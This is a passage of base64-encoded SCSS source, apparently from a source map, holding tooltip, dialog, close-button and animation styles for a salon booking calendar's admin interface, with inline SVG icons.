gICAgZ3JpZC1yb3c6IDE7XG4gICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB3aWR0aD0nMTknIGhlaWdodD0nMTgnIHZpZXdCb3g9JzAgMCAxOSAxOCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZmlsbC1ydWxlPSdldmVub2RkJyBjbGlwLXJ1bGU9J2V2ZW5vZGQnIGQ9J00xOC40MDk5IDEuNTQwNzRDMTguOTg0NiAxLjk5MzA4IDE5LjA2NTYgMi44MDM1IDE4LjU5MDYgMy4zNTA4Nkw3LjczNjYzIDE1Ljg1OTlMNy43MzMzNyAxNS44NjM2QzcuNDg2NDggMTYuMTQ2IDcuMTc2NjMgMTYuMzcyNCA2LjgyNjM0IDE2LjUyNjNDNi40NzYwNCAxNi42ODAzIDYuMDk0MTMgMTYuNzU4IDUuNzA4MzcgMTYuNzUzN0M1LjMxNjI4IDE2Ljc0OTEgNC45MjkxOSAxNi42NTk5IDQuNTc4NDcgMTYuNDkyOUM0LjIyODkzIDE2LjMyNjUgMy45MjMzNyAxNi4wODcgMy42ODQ1NyAxNS43OTI0TDAuMjg0MzUzIDExLjYyODlDLTAuMTczMzkyIDExLjA2ODQgLTAuMDY3MzcwNyAxMC4yNjA2IDAuNTIxMTU4IDkuODI0NjVDMS4xMDk2OSA5LjM4ODcxIDEuOTU3ODYgOS40ODk2OSAyLjQxNTYxIDEwLjA1MDJMNS43NDE0MyAxNC4xMjI2TDE2LjUwOTMgMS43MTI4MkMxNi45ODQyIDEuMTY1NDYgMTcuODM1MyAxLjA4ODQyIDE4LjQwOTkgMS41NDA3NFonIGZpbGw9JyUyMzFGN0REQicvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLnNsbi1wcm9mZWF0dXJlX190b29sdGlwX19jdGEge1xuICAgICAgICBtYXJnaW46IDIuNzVyZW0gMy4yNXJlbSAwIDMuMjVyZW07XG4gICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDgwMG1zO1xuICAgICAgICBhIHtcbiAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICBtYXJnaW46IDAgMCAxcmVtIDA7XG4gICAgICAgICAgcGFkZGluZzogMC41cmVtIDAuNzVyZW07XG4gICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4O1xuICAgICAgICAgIGJvcmRlcjogMnB4IHNvbGlkO1xuICAgICAgICAgIGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgICAgICBmb250LXNpemU6IDEuMjVyZW07XG4gICAgICAgICAgbGluZS1oZWlnaHQ6IDEuNHJlbTtcbiAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2UtaW4tb3V0O1xuICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKSBzY2FsZSgxKTtcbiAgICAgICAgICBzdHJvbmcge1xuICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICAgIH1cbiAgICAgICAgICBzcGFuIHtcbiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDFweDtcbiAgICAgICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICAgICAgY29udGVudDogJyAnO1xuICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICAgICAgd2lkdGg6IDIwcHg7XG4gICAgICAgICAgICAgIGhlaWdodDogMTZweDtcbiAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICBsZWZ0OiA1MCU7XG4gICAgICAgICAgICAgIGJvdHRvbTogMTAwJTtcbiAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpIHNjYWxlKDEpO1xuICAgICAgICAgICAgICB0cmFuc2Zvcm0tb3JpZ2luOiBjZW50ZXIgYm90dG9tO1xuICAgICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMjUwbXMgZWFzZS1pbi1vdXQ7XG4gICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgd2lkdGg9JzIwJyBoZWlnaHQ9JzE2JyB2aWV3Qm94PScwIDAgMjAgMTYnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGZpbGwtcnVsZT0nZXZlbm9kZCcgY2xpcC1ydWxlPSdldmVub2RkJyBkPSdNOS42ODMwMyAxLjIzODkxQzkuNTYwNzUgMS4wNjQyNCA5LjM2MDk1IDAuOTYwMjA1IDkuMTQ3NzMgMC45NjAyMDVDOC45MzQ1MSAwLjk2MDIwNSA4LjczNDcxIDEuMDY0MjQgOC42MTI0MyAxLjIzODkxTDQuNDg1MiA3LjEzNDk3TDEuMTE1NDQgMy43NjUyMkMwLjkyODU2NSAzLjU3ODM1IDAuNjQ3NTIyIDMuNTIyNDQgMC40MDMzNiAzLjYyMzU4QzAuMTU5MTk4IDMuNzI0NzEgMCAzLjk2Mjk3IDAgNC4yMjcyNVYxMi43MjE2QzAgMTMuNDE0NyAwLjI3NTM2NSAxNC4wNzk1IDAuNzY1NTE2IDE0LjU2OTdDMS4yNTU2NyAxNS4wNTk5IDEuOTIwNDYgMTUuMzM1MiAyLjYxMzY0IDE1LjMzNTJIMTUuNjgxOEMxNi4zNzUgMTUuMzM1MiAxNy4wMzk3IDE1LjA1OTkgMTcuNTI5OSAxNC41Njk3QzE4LjAyMDEgMTQuMDc5NSAxOC4yOTU1IDEzLjQxNDcgMTguMjk1NSAxMi43MjE2VjQuMjI3MjVDMTguMjk1NSAzLjk2Mjk3IDE4LjEzNjMgMy43MjQ3MSAxNy44OTIgMy42MjM1OEMxNy42NDc5IDMuNTIyNDQgMTcuMzY2OCAzLjU3ODM1IDE3LjE4IDMuNzY1MjJMMTMuODEwMyA3LjEzNDk3TDkuNjgzMDMgMS4yMzg5MVonIGZpbGw9JyUyM0ZGQzExOCcvJTNFJTNDL3N2ZyUzRSUwQVwiKTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgdG9wOiAwO1xuICAgICAgICAgICAgcmlnaHQ6IDA7XG4gICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICBsZWZ0OiAwO1xuICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4O1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuICAgICAgICAgICAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcbiAgICAgICAgICAgIGJvcmRlci13aWR0aDogMCA0cHggNHB4IDA7XG4gICAgICAgICAgICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zIGVhc2UtaW4tb3V0O1xuICAgICAgICAgICAgei1pbmRleDogLTE7XG4gICAgICAgICAgfVxuICAgICAgICAgIC8vICY6OmFmdGVyIHtcbiAgICAgICAgICAvLyBcdGNvbnRlbnQ6IFwiXCI7XG4gICAgICAgICAgLy8gXHRwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgICAgLy8gXHR0b3A6IDA7XG4gICAgICAgICAgLy8gXHRyaWdodDogMDtcbiAgICAgICAgICAvLyBcdGJvdHRvbTogMDtcbiAgICAgICAgICAvLyBcdGxlZnQ6IDA7XG4gICAgICAgICAgLy8gXHRib3JkZXItcmFkaXVzOiA0cHg7XG4gICAgICAgICAgLy8gXHRib3JkZXI6IDJweCBzb2xpZDtcbiAgICAgICAgICAvLyBcdGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICAgLy8gXHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgICAvLyBcdHRyYW5zaXRpb246IGFsbCAyNTBtcyBlYXNlLWluLW91dDtcbiAgICAgICAgICAvLyBcdHotaW5kZXg6IC0xO1xuICAgICAgICAgIC8vIH1cblxuICAgICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgLy90cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTAuMjVlbSkgc2NhbGUoMS4wNSk7XG4gICAgICAgICAgICAgICY6OmJlZm9yZSB7XG4gICAgICAgICAgICAgICAgdG9wOiAtMC41ZW07XG4gICAgICAgICAgICAgICAgcmlnaHQ6IC0wLjVlbTtcbiAgICAgICAgICAgICAgICBib3R0b206IC0wLjVlbTtcbiAgICAgICAgICAgICAgICBsZWZ0OiAtMC41ZW07XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4O1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1kYXJrKDAuNSk7XG4gICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgLy8gJjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAvLyBcdHRvcDogLTAuNzVlbTtcbiAgICAgICAgICAgICAgLy8gXHRyaWdodDogLTAuNzVlbTtcbiAgICAgICAgICAgICAgLy8gXHRib3R0b206IC0wLjc1ZW07XG4gICAgICAgICAgICAgIC8vIFx0bGVmdDogLTAuNzVlbTtcbiAgICAgICAgICAgICAgLy8gXHRib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyayhcbiAgICAgICAgICAgICAgLy8gXHRcdDAuNVxuICAgICAgICAgICAgICAvLyBcdCk7XG4gICAgICAgICAgICAgIC8vIFx0Ym9yZGVyLXJhZGl1czogNnB4O1xuICAgICAgICAgICAgICAvLyB9XG5cbiAgICAgICAgICAgICAgLy8gc3BhbiB7XG4gICAgICAgICAgICAgIC8vIFx0Jjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAvLyBcdFx0Ym90dG9tOiAxMjAlO1xuICAgICAgICAgICAgICAvLyBcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpIHNjYWxlKDEuMyk7XG4gICAgICAgICAgICAgIC8vIFx0fVxuICAgICAgICAgICAgICAvLyB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIC5zbG4tcHJvZmVhdHVyZV9fdG9vbHRpcF9fYnRuLWluZm8ge1xuICAgICAgICAgIG1hcmdpbjogMDtcbiAgICAgICAgICBmb250LXNpemU6IDFyZW07XG4gICAgICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgxKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLnNsbi1wcm9mZWF0dXJlX19jbG9zZS1idXR0b24ge1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIHRvcDogLTIuNHJlbTtcbiAgICAgICAgcmlnaHQ6IDByZW07XG4gICAgICAgIHdpZHRoOiAycmVtO1xuICAgICAgICBoZWlnaHQ6IDJyZW07XG4gICAgICAgIC8vIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlO1xuICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAycmVtO1xuICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICBiYWNrZ3JvdW5kLXNpemU6IGNvbnRhaW47XG4gICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI0IDI0JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDZyBpZD0nU1ZHUmVwb19iZ0NhcnJpZXInIHN0cm9rZS13aWR0aD0nMCclM0UlM0MvZyUzRSUzQ2cgaWQ9J1NWR1JlcG9fdHJhY2VyQ2Fycmllcicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJyUzRSUzQy9nJTNFJTNDZyBpZD0nU1ZHUmVwb19pY29uQ2FycmllciclM0UlM0NwYXRoIGZpbGwtcnVsZT0nZXZlbm9kZCcgY2xpcC1ydWxlPSdldmVub2RkJyBkPSdNNS4yOTI4OSA1LjI5Mjg5QzUuNjgzNDIgNC45MDIzNyA2LjMxNjU4IDQuOTAyMzcgNi43MDcxMSA1LjI5Mjg5TDEyIDEwLjU4NThMMTcuMjkyOSA1LjI5Mjg5QzE3LjY4MzQgNC45MDIzNyAxOC4zMTY2IDQuOTAyMzcgMTguNzA3MSA1LjI5Mjg5QzE5LjA5NzYgNS42ODM0MiAxOS4wOTc2IDYuMzE2NTggMTguNzA3MSA2LjcwNzExTDEzLjQxNDIgMTJMMTguNzA3MSAxNy4yOTI5QzE5LjA5NzYgMTcuNjgzNCAxOS4wOTc2IDE4LjMxNjYgMTguNzA3MSAxOC43MDcxQzE4LjMxNjYgMTkuMDk3NiAxNy42ODM0IDE5LjA5NzYgMTcuMjkyOSAxOC43MDcxTDEyIDEzLjQxNDJMNi43MDcxMSAxOC43MDcxQzYuMzE2NTggMTkuMDk3NiA1LjY4MzQyIDE5LjA5NzYgNS4yOTI4OSAxOC43MDcxQzQuOTAyMzcgMTguMzE2NiA0LjkwMjM3IDE3LjY4MzQgNS4yOTI4OSAxNy4yOTI5TDEwLjU4NTggMTJMNS4yOTI4OSA2LjcwNzExQzQuOTAyMzcgNi4zMTY1OCA0LjkwMjM3IDUuNjgzNDIgNS4yOTI4OSA1LjI5Mjg5WicgZmlsbD0nJTIzZmZmZmZmJyUzRSUzQy9wYXRoJTNFJTNDL2clM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgICBvcGFjaXR5OiAwLjY7XG4gICAgICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxuICBib2R5Omhhcyguc2xuLXByb2ZlYXR1cmVfX2RpYWxvZ1tvcGVuXSkge1xuICAgIC8qIFBvb2YhIE5vIG1vcmUgc2Nyb2xsaW5nISAqL1xuICAgIG92ZXJmbG93OiBoaWRkZW47XG4gIH1cbiAgQGtleWZyYW1lcyBib3VuY2Uge1xuICAgIDAlIHtcbiAgICAgIC13ZWJraXQtdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDNyZW0pO1xuICAgICAgLW1zLXRyYW5zZm9ybTogdHJhbnNsYXRlWSgzcmVtKTtcbiAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgzcmVtKTtcbiAgICB9XG4gICAgODAlIHtcbiAgICAgIC13ZWJraXQtdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xcmVtKTtcbiAgICAgIC1tcy10cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTFyZW0pO1xuICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xcmVtKTtcbiAgICB9XG4gICAgMTAwJSB7XG4gICAgICAtd2Via2l0LXRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKTtcbiAgICAgIC1tcy10cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7XG4gICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7XG4gICAgfVxuXG4gICAgLy8gNjAlIHtcbiAgICAvLyBcdC13ZWJraXQtdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xNXB4KTtcbiAgICAvLyBcdC1tcy10cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTE1cHgpO1xuICAgIC8vIFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKC0xNXB4KTtcbiAgICAvLyB9XG4gIH1cblxuICAuYm91bmNlIHtcbiAgICAtd2Via2l0LWFuaW1hdGlvbi1uYW1lOiBib3VuY2U7XG4gICAgYW5pbWF0aW9uLW5hbWU6IGJvdW5jZTtcbiAgfVxufVxuIiwiQHVzZSAnLi4vYWRtaW5fY29uZmlnJztcbkB1c2UgJy4uL2NvbG9ycy1udSc7XG5cbkB1c2UgJy4uL3NldHRpbmdzLW1peGlucyc7XG5AdXNlICcuLi90eXBvLWFkbWluJztcblxuLy8gTW9kZXJuIFRvb2x0aXAgU3R5bGVzIGZvciBTYWxvbiBCb29raW5nIENhbGVuZGFyXG4vLyBSZXBsYWNlcyBsZWdhY3kgQm9vdHN0cmFwIHRvb2x0aXAgc3R5bGluZyB3aXRoIG1vZGVybiwgYWNjZXNzaWJsZSBkZXNpZ25cblxuJHRvb2x0aXAtcGFkZGluZzogMS4yNXJlbTtcblxuLnNsbi1ib29raW5nLXRvb2x0aXAtYWN0aXZlIHtcbiAgLy8gUmVtb3ZlZCBwb2ludGVyLWV2ZW50czogbm9uZSB0byBmaXggei1pbmRleCBsYXllcmluZyBpc3N1ZVxuICAvLyBUb29sdGlwIHJldHJpZ2dlcmluZyBpcyBub3cgcHJldmVudGVkIHZpYSBKYXZhU2NyaXB0IGZsYWctYmFzZWQgYXBwcm9hY2hcbiAgLnNsbi1ldmVudC1oZWFkZXItbW9yZS1pY29uLXZlcnRpY2FsOjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZTVkMyc7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS1kYXJrZXN0O1xuICB9XG59XG4jc2xuLXRvb2x0aXAtY29udGFpbmVyLFxuLnNsbi10b29sdGlwLWNvbnRhaW5lciB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgei1pbmRleDogOTk5OTtcbiAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gIG9wYWNpdHk6IDA7XG4gIGJvcmRlci1yYWRpdXM6IDEuNzVyZW07XG4gIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMTBweCk7XG4gIHRyYW5zaXRpb246XG4gICAgb3BhY2l0eSAwLjJzIGVhc2UsXG4gICAgdHJhbnNmb3JtIDAuMnMgZWFzZTtcblxuICAmLnNsbi10b29sdGlwLS12aXNpYmxlIHtcbiAgICBvcGFjaXR5OiAxO1xuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKTtcbiAgICBwb2ludGVyLWV2ZW50czogYXV0bztcbiAgfVxuXG4gIC8vIEFjY2Vzc2liaWxpdHkgaW1wcm92ZW1lbnRzXG4gICY6Zm9jdXMtd2l0aGluIHtcbiAgICBvdXRsaW5lOiAycHggc29saWQgcmdiYShhZG1pbl9jb25maWcuJGNsX2RfbWFpbiwgMC4yNSk7XG4gICAgb3V0bGluZS1vZmZzZXQ6IDJweDtcbiAgfVxuXG4gIC5zbG4tdG9vbHRpcC1jb250ZW50IHtcbiAgICBiYWNrZ3JvdW5kOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0LTI7XG4gICAgYm9yZGVyLXJhZGl1czogMS43NXJlbTtcbiAgICBib3gtc2hhZG93OiAwIDRweCAxMnB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7XG4gICAgd2lkdGg6IDE5LjVyZW07XG4gICAgbWF4LXdpZHRoOiAxOS41cmVtO1xuICAgIG1pbi13aWR0aDogMTkuNXJlbTtcbiAgICBmb250LXNpemU6IDE0cHg7XG4gICAgbGluZS1oZWlnaHQ6IDEuNDtcbiAgfVxuXG4gICYuc2xuLXRvb2x0aXAtLXZpc2libGUgLnNsbi10b29sdGlwLWNvbnRlbnQge1xuICAgIGFuaW1hdGlvbjogc2xuLXRvb2x0aXAtZmFkZS1pbiAwLjJzIGVhc2U7XG4gIH1cbiAgLnNsbi10b29sdGlwLWhlYWRlciB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICB9XG59XG5cbi5zbG4tYm9va2luZy10b29sdGlwIHtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xufVxuXG4uc2xuLXRvb2x0aXAtdGl0bGUge1xuICBtYXJnaW46IDA7XG4gIGZvbnQtc2l6ZTogMTZweDtcbiAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgY29sb3I6ICMyYzNlNTA7XG4gIGZsZXg6IDE7XG4gIHBhZGRpbmctcmlnaHQ6IDhweDtcbiAgZGlzcGxheTogbm9uZTtcbn1cblxuLnNsbi10b29sdGlwLWNsb3NlIHtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICB3aWR0aDogMi4yNXJlbTtcbiAgaGVpZ2h0OiAyLjI1cmVtO1xuICB0b3A6IC0zcmVtO1xuICByaWdodDogMXJlbTtcbiAgYmFja2dyb3VuZDogbm9uZTtcbiAgYm9yZGVyOiBub25lO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgcGFkZGluZzogMDtcbiAgYm9yZGVyLXJhZGl1czogOTk5OXB4O1xuICBiYWNrZ3JvdW5kOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0LTI7XG4gIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gIHRyYW5zaXRpb246IGFsbCAwLjJzIGVhc2U7XG4gIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEpO1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEpIHJvdGF0ZSg0NWRlZyk7XG4gICAgICB9XG4gICAgfVxuICB9XG59XG5cbi5zbG4tdG9vbHRpcC1ib2R5IHtcbiAgcGFkZGluZzogJHRvb2x0aXAtcGFkZGluZztcbn1cblxuLnNsbi10b29sdGlwLWRldGFpbHMtLXRvcCxcbi5zbG4tdG9vbHRpcC1kZXRhaWxzLS1ib3R0b20ge1xuICBtYXJnaW4tYm90dG9tOiAkdG9vbHRpcC1wYWRkaW5nO1xufVxuXG4uc2xuLXRvb2x0aXAtZGV0YWlscy0tdG9wIHtcbiAgLnNsbi10b29sdGlwLWRldGFpbCB7XG4gICAganVzdGlmeS1jb250ZW50OiBzdGFydDtcbiAgICBnYXA6IDAuNXJlbTtcbiAgICAuc2xuLXRvb2x0aXAtbGFiZWwsXG4gICAgLnNsbi10b29sdGlwLXZhbHVlIHtcbiAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF90ZXh0LS10b29sdGlwO1xuICAgIH1cbiAgICAuc2xuLXRvb2x0aXAtbGFiZWwge1xuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgbWFyZ2luLXJpZ2h0OiAwLjVyZW07XG4gICAgICAgIGNvbnRlbnQ6ICfil48nO1xuICAgICAgICBmb250LXNpemU6IDAuNWVtO1xuICAgICAgfVxuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICBjb250ZW50OiAnOic7XG4gICAgICB9XG4gICAgICAvLyBSZW1vdmUgYnVsbGV0IGFuZCBjb2xvbiBmb3IgaWNvbiBsYWJlbHNcbiAgICAgICYuc2xuLXRvb2x0aXAtbGFiZWwtLWljb24ge1xuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGNvbnRlbnQ6IG5vbmU7XG4gICAgICAgICAgbWFyZ2luLXJpZ2h0OiAwO1xuICAgICAgICB9XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBjb250ZW50OiBub25lO1xuICAgICAgICB9XG4gICAgICAgIC8vIFN0eWxlIGljb25zIGluIGxhYmVsc1xuICAgICAgICAuc2xuLWljb24ge1xuICAgICAgICAgIHdpZHRoOiAxcmVtO1xuICAgICAgICAgIGhlaWdodDogMXJlbTtcbiAgICAgICAgICBtaW4td2lkdGg6IDFyZW07XG4gICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IGN1cnJlbnRDb2xvcjtcbiAgICAgICAgICAtd2Via2l0LW1hc2stc2l6ZTogY29udGFpbjtcbiAgICAgICAgICBtYXNrLXNpemU6IGNvbnRhaW47XG4gICAgICAgICAgLXdlYmtpdC1tYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgICAgICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgLXdlYmtpdC1tYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gICAgICAgICAgbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICAgICAgICAgIFxuICAgICAgICAgIC8vIEljb24gU1ZHIG1hc2tzIGZvciB0b29sdGlwIGxhYmVsc1xuICAgICAgICAgICYuc2xuLWljb24tLWlkLWJhZGdlIHtcbiAgICAgICAgICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMjQgMjQnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00xNSAxMkMxNSAxMy42NTY5IDEzLjY1NjkgMTUgMTIgMTVDMTAuMzQzMSAxNSA5IDEzLjY1NjkgOSAxMkM5IDEwLjM0MzEgMTAuMzQzMSA5IDEyIDlDMTMuNjU2OSA5IDE1IDEwLjM0MzEgMTUgMTJaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInLyUzRSUzQ3BhdGggZD0nTTMgNUMzIDMuODk1NDMgMy44OTU0MyAzIDUgM0gxOUMyMC4xMDQ2IDMgMjEgMy44OTU0MyAyMSA1VjE5QzIxIDIwLjEwNDYgMjAuMTA0NiAyMSAxOSAyMUg1QzMuODk1NDMgMjEgMyAyMC4xMDQ2IDMgMTlWNVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicvJTNFJTNDcGF0aCBkPSdNNyAxOEM3IDE3IDguNSAxNiAxMiAxNkMxNS41IDE2IDE3IDE3IDE3IDE4JyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICAgICAgICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI0IDI0JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMTUgMTJDMTUgMTMuNjU2OSAxMy42NTY5IDE1IDEyIDE1QzEwLjM0MzEgMTUgOSAxMy42NTY5IDkgMTJDOSAxMC4zNDMxIDEwLjM0MzEgOSAxMiA5QzEzLjY1NjkgOSAxNSAxMC4zNDMxIDE1IDEyWicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJy8lM0UlM0NwYXRoIGQ9J00zIDVDMyAzLjg5NTQzIDMuODk1NDMgMyA1IDNIMTlDMjAuMTA0NiAzIDIxIDMuODk1NDMgMjEgNVYxOUMyMSAyMC4xMDQ2IDIwLjEwNDYgMjEgMTkgMjFINUMzLjg5NTQzIDIxIDMgMjAuMTA0NiAzIDE5VjVaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInLyUzRSUzQ3BhdGggZD0nTTcgMThDNyAxNyA4LjUgMTYgMTIgMTZDMTUuNSAxNiAxNyAxNyAxNyAxOCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPScyJyBzdHJva2UtbGluZWNhcD0ncm91bmQnLy